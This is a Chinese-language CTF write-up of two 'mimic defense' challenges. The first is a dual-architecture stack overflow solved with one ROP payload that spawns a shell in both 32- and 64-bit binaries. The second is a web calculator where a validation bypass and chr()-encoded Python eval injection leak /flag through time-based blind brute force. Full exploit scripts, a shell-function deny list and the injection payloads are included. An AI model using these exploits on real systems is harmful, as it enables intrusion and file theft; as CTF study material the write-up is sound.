拟态防御是什么,网上一搜就知道,在此不作详述了。想起一次见到拟态防御是在17年的工信部竞赛,当时知道肯定攻不破,连题目都没去打开。近期终于见到一些CTF比赛中出现拟态型的题目,题目不算太难,不过这种题型比较少见,特此记录一下。
打开压缩包,发现竟然有两个二级制文件,先检查一下保护
[*] '/home/kira/pwn/qwb/_stkof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/kira/pwn/qwb/__stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
两个二进制文件,一个是32位,一个是64位,均为静态编译,漏洞也很明显,是一个简单粗暴的栈溢出。
伪代码如下:
int vul() { char v1; // 32位[esp+Ch] [ebp-10Ch] 64位[rsp+0h] [rbp-110h] setbuf(stdin, 0); setbuf(stdout, 0); j_memset_ifunc(&v1, 0, 256); read(0, &v1, 0x300); return puts(&v1); }
因为这是一题拟态的pwn题,跟传统题型相比,加入了拟态的检查机制,大概原理是:题目会同时启动32位程序和64位程序,而我们的输入会分别传入这个两个进程,每个程序一份,然后题目会检测两个程序的输出,若两个程序的输出不一致或任一程序或者异常退出,则会被判断为check down
,直接断开链接。只有两个程序的输入一致时,才能通过检查。因此,我们要做的就是构造一个payload,输入到32位程序和64位程序的时候,确保输出流完全一致,也就是用一个payload在32位程序和64位程序都能getshell。
如果不是拟态机制,这道题直接用ROPgadget
生成ropchain就可以getshell,分分钟就被秒了。
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9064) # @ .data + 4
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080d9060) # padding without overwrite ebx
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x080495a3) # int 0x80
但是,32位和64位的汇编码完全不同,函数调用方式也是不同,要如何构造一条payload同时在32位和64位程序getshell呢。出题人非常友好地留了一个漏洞点给我们,留意到32位程序的溢出长度是0x110
,而64位程序的溢出长度是0x118
,差了8字节,这就给了我们空间可以构造特殊payload。
思路是:填充完0x110
字节后,32位程序会到达ret位置,可以寻找一些控制esp的gadget,跳过后面64位的ret到达ropchain,同理64位也能寻找这种gadget跳过32位的ropchain。使用ROPgadget
查找可以控制sp的gadget,类似add sp, 0xc; ret
,然后在payload中指定的位置放置ropchain。
非常幸运,找了两个大小合适的gadget,ROPgadget
生成的ropchain注意需要修改一下,不然会导致输入过长,要控制payload的长度在0x300以内。
最后需要注意的是,vul
函数结束时会调用puts
,为保证输出相同,填充的垃圾数据要用\x00
进行截断。
完整exp如下:
from struct import pack # 32bit ropchain rop32 = '' rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret rop32 += pack('<I', 0x080d9060) # @ .data rop32 += pack('<I', 0x080a8af6) # pop eax ; ret rop32 += '/bin' rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret rop32 += pack('<I', 0x080d9064) # @ .data + 4 rop32 += pack('<I', 0x080a8af6) # pop eax ; ret rop32 += '//sh' rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret rop32 += pack('<I', 0x080d9068) # @ .data + 8 rop32 += pack('<I', 0x08056040) # xor eax, eax ; ret rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret rop32 += pack('<I', 0x080481c9) # pop ebx ; ret rop32 += pack('<I', 0x080d9060) # @ .data rop32 += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret rop32 += pack('<I', 0x080d9068) # @ .data + 8 rop32 += pack('<I', 0x080d9060) # padding without overwrite ebx rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret rop32 += pack('<I', 0x080d9068) # @ .data + 8 rop32 += pack('<I', 0x08056040) # xor eax, eax ; ret rop32 += pack('<I', 0x080a8af6) # pop eax ; ret rop32 += p32(0xb) rop32 += pack('<I', 0x080495a3) # int 0x80 # 64bit ropchain rop64 = '' rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret rop64 += pack('<Q', 0x00000000006a10e0) # @ .data rop64 += pack('<Q', 0x000000000043b97c) # pop rax ; ret rop64 += '/bin//sh' rop64 += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8 rop64 += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret rop64 += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret rop64 += pack('<Q', 0x00000000004005f6) # pop rdi ; ret rop64 += pack('<Q', 0x00000000006a10e0) # @ .data rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8 rop64 += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8 rop64 += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret rop64 += pack('<Q', 0x000000000043b97c) # pop rax ; ret rop64 += p64(0x3b) rop64 += pack('<Q', 0x0000000000461645) # syscall ; ret # 32 gadget add_esp = 0x080a8f69 # add esp, 0xc ; ret # 64 gadget add_rsp = 0x00000000004079d4 # add rsp, 0xd8 ; ret payload = 'kira'.ljust(0x110,'\x00') + p64(add_esp) + p64(add_rsp) + rop32.ljust(0xd8,'\x00') + rop64 p.sendlineafter('try to pwn it?\n',payload) p.interactive()
题目来RCTF2019,是一个拟态的web题。
前端是一个next.js的网站,只能输入0-9a-z,加减乘除,空格,括号,同时检查输入长度。
有3个后端决策器,分别是php、node和python执行表达式,3个决策器会对输入进行运算,只有当3个决策器返回的结果一致时,才会输出结果。
例如输入1+1
,可以得到结果{"ret":"2"}
。
观察后台的记录,3个决策器均返回了{"ret":"2"}
frontend_1 | [Nest] 16 - 06/16/2019, 6:06 AM [AppController] Expression = "1+1"
frontend_1 | [Nest] 16 - 06/16/2019, 6:06 AM [AppController] Ret = [{"ret":"2"},{"ret":"2"},{"ret":"2"}]
输入eval(1+1)
,可以得到结果That's classified information. - Asahina Mikuru
。
观察后台的记录,决策器结果不一致,返回错误信息
frontend_1 | [Nest] 16 - 06/16/2019, 6:05 AM [AppController] Expression = "eval(1+1)"
frontend_1 | [Nest] 16 - 06/16/2019, 6:05 AM [AppController] Ret = [{"ret":"2"},"Request failed with status code 500","Request failed with status code 500"]
首先分析前端的代码,题目进行计算时往/calculate
post表达式,可以在 app.controller.ts中看到对应的代码,3个IP为后台决策器
@Post('/calculate') calculate(@Body() calculateModel: CalculateModel, @Res() res: Response) { const serializedBson = bson.serialize(calculateModel); const urls = ['10.0.20.11', '10.0.20.12', '10.0.20.13']; bluebird.map(urls, async (url) => {
fuzz的时候发现是有过滤的,表达式的输入过滤在expression.validator.ts,首先检查了输入长度,然后再检查输入内容,过滤大部分的命令执行需要用到的字符。
export function ExpressionValidator(property: number, validationOptions?: ValidationOptions) { return (object: Object, propertyName: string) => { registerDecorator({ name: 'ExpressionValidator', target: object.constructor, propertyName, constraints: [property], options: validationOptions, validator: { validate(value: any, args: ValidationArguments) { const str = value ? value.toString() : ''; if (str.length === 0) { return false; } if (!(args.object as CalculateModel).isVip) { if (str.length >= args.constraints[0]) { return false; } } if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) { return false; } return true; }, }, }); }; }
默认参数在calculate.model.ts,默认输入最大长度为15,isVip
默认是false
export default class CalculateModel { @IsNotEmpty() @ExpressionValidator(15, { message: 'Invalid input', }) public readonly expression: string; @IsBoolean() public readonly isVip: boolean = false; }
那么长度限制可以通过,修改发送数据的类型进行绕过。提交json参数,修改isVip
为true
,Content-Type修改为application/json
,这样可以跳过长度判断的语句。
flag在根目录,下一步需要考虑的是如何进行命令注入,由于nodejs不太熟悉,先看一下php和python。
php的决策器主函数index.php
<?php ob_start(); $input = file_get_contents('php://input'); $options = MongoDB\BSON\toPHP($input); $ret = eval('return ' . (string) $options->expression . ';'); echo MongoDB\BSON\fromPHP(['ret' => (string) $ret]);
linit.ini中限制了大量执行命令的函数,暂时想不到绕过的姿势
disable_functions = set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log max_execution_time = 1
再看一下python的决策器主函数app.py,也是使用eval
进行计算
@app.route("/", methods=["POST"]) def calculate(): data = request.get_data() expr = bson.BSON(data).decode() return bson.BSON.encode({ "ret": str(eval(str(expr['expression']))) })
python可以用+
进行字符串拼接,字符过滤可以用ascii编码绕过,绕过方法如下:
>>> eval(chr(0x31)+chr(0x2b)+chr(0x31)) # 1+1 2
由于python的代码在php和nodejs中都是无法运行的,决策器的验证是不可能通过,因此不会有正常结果回显。虽然不会显示命令注入的回显,但是返回结果会等所有决策器返回运行结果后才发送响应包,因此可以使用时间盲注,逐字符进行爆破flag。
注入payload:__import__("time").sleep(2) if open("/flag").read()[0]=='f' else 1
决策器的返回结果,其中python决策器是第二个,从返回结果可以看到,可以使用布尔注入。
[Nest] 16 - 06/16/2019, 7:11 AM [AppController] Ret = [{"ret":"timeout"},{"ret":"1"},"Request failed with status code 500"] # False
[Nest] 16 - 06/16/2019, 7:11 AM [AppController] Ret = [{"ret":"timeout"},{"ret":"None"},"Request failed with status code 500"] # True
简单编写暴力爆破exp,提高效率也可以使用二分法爆破。
# -*- coding:utf-8 -*- import requests import json import string header = { "Content-Type":"application/json"} url = "http://x.x.x.x:50004/calculate" def foo(payload): return "+".join(["chr(%d)"%ord(x) for x in payload]) flag = '' for i in range(20): for j in string.letters + string.digits + '{_}': exp = "__import__('time').sleep(3) if open('/flag').read()[%d]=='%s' else 1"%(i,j) data = { "expression": "eval(" + foo(exp) + ")", "isVip":True } try: r = requests.post(headers=header,url=url,data=json.dumps(data),timeout=2) #print r.elapsed except: flag += j print "[+] flag:",flag break
拟态型的题目相信之后的比赛会更多的出现,这两题算是小试牛刀吧,期待之后比赛遇到的新题目。